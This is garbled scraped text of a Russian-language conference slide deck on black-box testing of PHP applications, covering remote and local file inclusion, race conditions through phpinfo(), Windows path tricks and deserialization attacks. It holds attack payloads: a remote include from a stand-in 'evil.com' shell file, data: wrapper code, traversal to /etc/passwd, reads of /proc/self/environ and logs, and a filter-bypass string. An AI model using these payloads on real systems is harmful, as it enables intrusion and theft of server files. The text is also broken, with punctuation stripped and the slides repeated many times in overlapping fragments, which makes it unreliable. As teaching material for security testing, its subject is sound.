- Быстрый fuzzing (2)
- Быстрый fuzzing (3)
- Уязвимости PHP
- Почему ломаем PHP
- lt=$question[0]
- lt=$answer[0]
- lt=$question[1]
- lt=$answer[1]
- lt=$question[2]
- lt=$answer[2]
- Загрузка файлов
- Загрузка файлов (2)
- Загрузка файлов (3)
- Загрузка файлов (4)
- File inclusion
- File inclusion (2)
- RFI
- LFI
- LFI (2)
- Трюки
- Трюки (2)
- Трюки (3)
- Трюки (4)
- Десериализация вкратце
- Десериализация вкратце (2)
- Трюки (5)
- Заключение
- Спасибо за внимание
-
File inclusion
bull Чтение file_get_contents readfile highlight_file fopen и т д
bull Подключение include(_once) require(_once) и т д
bull Зависимости для эксплуатации RFI в phpini allow_url_fopen = On allow_url_include = On
bull URL-обёртки поддерживаемые PHP httpphpnetmanualenwrappersphp
RFI
bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data
bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt
bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport
bull Потенциально возможно исполнение произвольного кода например через обёртку expect
LFI
bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp
bull С префиксом pathfilebull С постфиксом pathfile00
pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию
LFI
bull Что подключать Ищем загрузку документов аватаров и т д
bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись
bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd
Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть
phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()
состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым
bull См httpsrdotorgforumshowthreadphpt=1134
Трюки
bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать
bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName
_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями
PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt
Трюки
bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл
bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp
bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом
bull См httpsrdotorgforumshowthreadphpt=926
Трюкиbull Заметим что трудности могут возникнуть при
включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл
не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что
будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и
allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58
Десериализация вкратце
bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python
bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при
десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)
Десериализация вкратце
bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа
bull Часто для этого используется __destruct()bull См
httpsrdotorgforumshowthreadphpt=950
Трюки
bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742
bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited
Заключение
bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups
documentation coding testing researchbull Надеюсь узнали и запомнили что-то
полезное
Спасибо за внимание
adminahackrubechedincsecurityru
- Секреты чёрного ящика
- Кто я
- Чёрный ящик
- Black box
- Чёрный ящик = Black box
- Анализ защищённости
- Почему black box
- План
- Первые шаги
- Первые шаги (2)
- Первые шаги (3)
- Главные идеи
- Распознавание платформ
- Распознавание платформ (2)
- Распознавание платформ (3)
- Распознавание платформ (4)
- Сбор информации
- Сбор информации (2)
- Сбор информации (3)
- Сбор информации (4)
- Сбор информации (5)
- Быстрый fuzzing
- Быстрый fuzzing (2)
- Быстрый fuzzing (3)
- Уязвимости PHP
- Почему ломаем PHP
- lt=$question[0]
- lt=$answer[0]
- lt=$question[1]
- lt=$answer[1]
- lt=$question[2]
- lt=$answer[2]
- Загрузка файлов
- Загрузка файлов (2)
- Загрузка файлов (3)
- Загрузка файлов (4)
- File inclusion
- File inclusion (2)
- RFI
- LFI
- LFI (2)
- Трюки
- Трюки (2)
- Трюки (3)
- Трюки (4)
- Десериализация вкратце
- Десериализация вкратце (2)
- Трюки (5)
- Заключение
- Спасибо за внимание
-
RFI
bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data
bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt
bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport
bull Потенциально возможно исполнение произвольного кода например через обёртку expect
LFI
bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp
bull С префиксом pathfilebull С постфиксом pathfile00
pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию
LFI
bull Что подключать Ищем загрузку документов аватаров и т д
bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись
bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd
Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть
phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()
состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым
bull См httpsrdotorgforumshowthreadphpt=1134
Трюки
bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать
bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName
_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями
PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt
Трюки
bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл
bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp
bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом
bull См httpsrdotorgforumshowthreadphpt=926
Трюкиbull Заметим что трудности могут возникнуть при
включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл
не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что
будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и
allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58
Десериализация вкратце
bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python
bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при
десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)
Десериализация вкратце
bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа
bull Часто для этого используется __destruct()bull См
httpsrdotorgforumshowthreadphpt=950
Трюки
bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742
bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited
Заключение
bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups
documentation coding testing researchbull Надеюсь узнали и запомнили что-то
полезное
Спасибо за внимание
adminahackrubechedincsecurityru
- Секреты чёрного ящика
- Кто я
- Чёрный ящик
- Black box
- Чёрный ящик = Black box
- Анализ защищённости
- Почему black box
- План
- Первые шаги
- Первые шаги (2)
- Первые шаги (3)
- Главные идеи
- Распознавание платформ
- Распознавание платформ (2)
- Распознавание платформ (3)
- Распознавание платформ (4)
- Сбор информации
- Сбор информации (2)
- Сбор информации (3)
- Сбор информации (4)
- Сбор информации (5)
- Быстрый fuzzing
- Быстрый fuzzing (2)
- Быстрый fuzzing (3)
- Уязвимости PHP
- Почему ломаем PHP
- lt=$question[0]
- lt=$answer[0]
- lt=$question[1]
- lt=$answer[1]
- lt=$question[2]
- lt=$answer[2]
- Загрузка файлов
- Загрузка файлов (2)
- Загрузка файлов (3)
- Загрузка файлов (4)
- File inclusion
- File inclusion (2)
- RFI
- LFI
- LFI (2)
- Трюки
- Трюки (2)
- Трюки (3)
- Трюки (4)
- Десериализация вкратце
- Десериализация вкратце (2)
- Трюки (5)
- Заключение
- Спасибо за внимание
-
LFI
bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp
bull С префиксом pathfilebull С постфиксом pathfile00
pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию
LFI
bull Что подключать Ищем загрузку документов аватаров и т д
bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись
bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd
Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть
phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()
состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым
bull См httpsrdotorgforumshowthreadphpt=1134
Трюки
bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать
bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName
_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями
PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt
Трюки
bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл
bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp
bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом
bull См httpsrdotorgforumshowthreadphpt=926
Трюкиbull Заметим что трудности могут возникнуть при
включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл
не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что
будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и
allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58
Десериализация вкратце
bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python
bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при
десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)
Десериализация вкратце
bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа
bull Часто для этого используется __destruct()bull См
httpsrdotorgforumshowthreadphpt=950
Трюки
bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742
bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited
Заключение
bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups
documentation coding testing researchbull Надеюсь узнали и запомнили что-то
полезное
Спасибо за внимание
adminahackrubechedincsecurityru
- Секреты чёрного ящика
- Кто я
- Чёрный ящик
- Black box
- Чёрный ящик = Black box
- Анализ защищённости
- Почему black box
- План
- Первые шаги
- Первые шаги (2)
- Первые шаги (3)
- Главные идеи
- Распознавание платформ
- Распознавание платформ (2)
- Распознавание платформ (3)
- Распознавание платформ (4)
- Сбор информации
- Сбор информации (2)
- Сбор информации (3)
- Сбор информации (4)
- Сбор информации (5)
- Быстрый fuzzing
- Быстрый fuzzing (2)
- Быстрый fuzzing (3)
- Уязвимости PHP
- Почему ломаем PHP
- lt=$question[0]
- lt=$answer[0]
- lt=$question[1]
- lt=$answer[1]
- lt=$question[2]
- lt=$answer[2]
- Загрузка файлов
- Загрузка файлов (2)
- Загрузка файлов (3)
- Загрузка файлов (4)
- File inclusion
- File inclusion (2)
- RFI
- LFI
- LFI (2)
- Трюки
- Трюки (2)
- Трюки (3)
- Трюки (4)
- Десериализация вкратце
- Десериализация вкратце (2)
- Трюки (5)
- Заключение
- Спасибо за внимание
-
LFI
bull Что подключать Ищем загрузку документов аватаров и т д
bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись
bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd
Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть
phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()
состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым
bull См httpsrdotorgforumshowthreadphpt=1134
Трюки
bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать
bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName
_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями
PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt
Трюки
bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл
bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp
bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом
bull См httpsrdotorgforumshowthreadphpt=926
Трюкиbull Заметим что трудности могут возникнуть при
включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл
не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что
будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и
allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58
Десериализация вкратце
bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python
bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при
десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)
Десериализация вкратце
bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа
bull Часто для этого используется __destruct()bull См
httpsrdotorgforumshowthreadphpt=950
Трюки
bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742
bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited
Заключение
bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups
documentation coding testing researchbull Надеюсь узнали и запомнили что-то
полезное
Спасибо за внимание
adminahackrubechedincsecurityru
- Секреты чёрного ящика
- Кто я
- Чёрный ящик
- Black box
- Чёрный ящик = Black box
- Анализ защищённости
- Почему black box
- План
- Первые шаги
- Первые шаги (2)
- Первые шаги (3)
- Главные идеи
- Распознавание платформ
- Распознавание платформ (2)
- Распознавание платформ (3)
- Распознавание платформ (4)
- Сбор информации
- Сбор информации (2)
- Сбор информации (3)
- Сбор информации (4)
- Сбор информации (5)
- Быстрый fuzzing
- Быстрый fuzzing (2)
- Быстрый fuzzing (3)
- Уязвимости PHP
- Почему ломаем PHP
- lt=$question[0]
- lt=$answer[0]
- lt=$question[1]
- lt=$answer[1]
- lt=$question[2]
- lt=$answer[2]
- Загрузка файлов
- Загрузка файлов (2)
- Загрузка файлов (3)
- Загрузка файлов (4)
- File inclusion
- File inclusion (2)
- RFI
- LFI
- LFI (2)
- Трюки
- Трюки (2)
- Трюки (3)
- Трюки (4)
- Десериализация вкратце
- Десериализация вкратце (2)
- Трюки (5)
- Заключение
- Спасибо за внимание
-
Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть
phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()
состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым
bull См httpsrdotorgforumshowthreadphpt=1134
Трюки
bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать
bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName
_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями
PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt
Трюки
bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл
bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp
bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом
bull См httpsrdotorgforumshowthreadphpt=926
Трюкиbull Заметим что трудности могут возникнуть при
включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл
не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что
будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и
allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58
Десериализация вкратце
bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python
bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при
десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)
Десериализация вкратце
bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа
bull Часто для этого используется __destruct()bull См
httpsrdotorgforumshowthreadphpt=950
Трюки
bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742
bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited
Заключение
bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups
documentation coding testing researchbull Надеюсь узнали и запомнили что-то
полезное
Спасибо за внимание
adminahackrubechedincsecurityru
- Секреты чёрного ящика
- Кто я
- Чёрный ящик
- Black box
- Чёрный ящик = Black box
- Анализ защищённости
- Почему black box
- План
- Первые шаги
- Первые шаги (2)
- Первые шаги (3)
- Главные идеи
- Распознавание платформ
- Распознавание платформ (2)
- Распознавание платформ (3)
- Распознавание платформ (4)
- Сбор информации
- Сбор информации (2)
- Сбор информации (3)
- Сбор информации (4)
- Сбор информации (5)
- Быстрый fuzzing
- Быстрый fuzzing (2)
- Быстрый fuzzing (3)
- Уязвимости PHP
- Почему ломаем PHP
- lt=$question[0]
- lt=$answer[0]
- lt=$question[1]
- lt=$answer[1]
- lt=$question[2]
- lt=$answer[2]
- Загрузка файлов
- Загрузка файлов (2)
- Загрузка файлов (3)
- Загрузка файлов (4)
- File inclusion
- File inclusion (2)
- RFI
- LFI
- LFI (2)
- Трюки
- Трюки (2)
- Трюки (3)
- Трюки (4)
- Десериализация вкратце
- Десериализация вкратце (2)
- Трюки (5)
- Заключение
- Спасибо за внимание
-
Трюки
bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать
bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName
_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями
PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt
Трюки
bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл
bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp
bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом
bull См httpsrdotorgforumshowthreadphpt=926
Трюкиbull Заметим что трудности могут возникнуть при
включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл
не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что
будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и
allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58
Десериализация вкратце
bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python
bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при
десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)
Десериализация вкратце
bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа
bull Часто для этого используется __destruct()bull См
httpsrdotorgforumshowthreadphpt=950
Трюки
bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742
bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited
Заключение
bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups
documentation coding testing researchbull Надеюсь узнали и запомнили что-то
полезное
Спасибо за внимание
adminahackrubechedincsecurityru
- Секреты чёрного ящика
- Кто я
- Чёрный ящик
- Black box
- Чёрный ящик = Black box
- Анализ защищённости
- Почему black box
- План
- Первые шаги
- Первые шаги (2)
- Первые шаги (3)
- Главные идеи
- Распознавание платформ
- Распознавание платформ (2)
- Распознавание платформ (3)
- Распознавание платформ (4)
- Сбор информации
- Сбор информации (2)
- Сбор информации (3)
- Сбор информации (4)
- Сбор информации (5)
- Быстрый fuzzing
- Быстрый fuzzing (2)
- Быстрый fuzzing (3)
- Уязвимости PHP
- Почему ломаем PHP
- lt=$question[0]
- lt=$answer[0]
- lt=$question[1]
- lt=$answer[1]
- lt=$question[2]
- lt=$answer[2]
- Загрузка файлов
- Загрузка файлов (2)
- Загрузка файлов (3)
- Загрузка файлов (4)
- File inclusion
- File inclusion (2)
- RFI
- LFI
- LFI (2)
- Трюки
- Трюки (2)
- Трюки (3)
- Трюки (4)
- Десериализация вкратце
- Десериализация вкратце (2)
- Трюки (5)
- Заключение
- Спасибо за внимание
-
Трюки
bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл
bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp
bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом
bull См httpsrdotorgforumshowthreadphpt=926
Трюкиbull Заметим что трудности могут возникнуть при
включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл
не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что
будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и
allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58
Десериализация вкратце
bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python
bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при
десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)
Десериализация вкратце
bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа
bull Часто для этого используется __destruct()bull См
httpsrdotorgforumshowthreadphpt=950
Трюки
bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742
bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited
Заключение
bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups
documentation coding testing researchbull Надеюсь узнали и запомнили что-то
полезное
Спасибо за внимание
adminahackrubechedincsecurityru
- Секреты чёрного ящика
- Кто я
- Чёрный ящик
- Black box
- Чёрный ящик = Black box
- Анализ защищённости
- Почему black box
- План
- Первые шаги
- Первые шаги (2)
- Первые шаги (3)
- Главные идеи
- Распознавание платформ
- Распознавание платформ (2)
- Распознавание платформ (3)
- Распознавание платформ (4)
- Сбор информации
- Сбор информации (2)
- Сбор информации (3)
- Сбор информации (4)
- Сбор информации (5)
- Быстрый fuzzing
- Быстрый fuzzing (2)
- Быстрый fuzzing (3)
- Уязвимости PHP
- Почему ломаем PHP
- lt=$question[0]
- lt=$answer[0]
- lt=$question[1]
- lt=$answer[1]
- lt=$question[2]
- lt=$answer[2]
- Загрузка файлов
- Загрузка файлов (2)
- Загрузка файлов (3)
- Загрузка файлов (4)
- File inclusion
- File inclusion (2)
- RFI
- LFI
- LFI (2)
- Трюки
- Трюки (2)
- Трюки (3)
- Трюки (4)
- Десериализация вкратце
- Десериализация вкратце (2)
- Трюки (5)
- Заключение
- Спасибо за внимание
-
Трюкиbull Заметим что трудности могут возникнуть при
включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл
не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что
будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и
allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58
Десериализация вкратце
bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python
bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при
десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)
Десериализация вкратце
bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа
bull Часто для этого используется __destruct()bull См
httpsrdotorgforumshowthreadphpt=950
Трюки
bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742
bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited
Заключение
bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups
documentation coding testing researchbull Надеюсь узнали и запомнили что-то
полезное
Спасибо за внимание
adminahackrubechedincsecurityru
- Секреты чёрного ящика
- Кто я
- Чёрный ящик
- Black box
- Чёрный ящик = Black box
- Анализ защищённости
- Почему black box
- План
- Первые шаги
- Первые шаги (2)
- Первые шаги (3)
- Главные идеи
- Распознавание платформ
- Распознавание платформ (2)
- Распознавание платформ (3)
- Распознавание платформ (4)
- Сбор информации
- Сбор информации (2)
- Сбор информации (3)
- Сбор информации (4)
- Сбор информации (5)
- Быстрый fuzzing
- Быстрый fuzzing (2)
- Быстрый fuzzing (3)
- Уязвимости PHP
- Почему ломаем PHP
- lt=$question[0]
- lt=$answer[0]
- lt=$question[1]
- lt=$answer[1]
- lt=$question[2]
- lt=$answer[2]
- Загрузка файлов
- Загрузка файлов (2)
- Загрузка файлов (3)
- Загрузка файлов (4)
- File inclusion
- File inclusion (2)
- RFI
- LFI
- LFI (2)
- Трюки
- Трюки (2)
- Трюки (3)
- Трюки (4)
- Десериализация вкратце
- Десериализация вкратце (2)
- Трюки (5)
- Заключение
- Спасибо за внимание
-
Десериализация вкратце
bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python
bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при
десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)
Десериализация вкратце
bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа
bull Часто для этого используется __destruct()bull См
httpsrdotorgforumshowthreadphpt=950
Трюки
bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742
bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited
Заключение
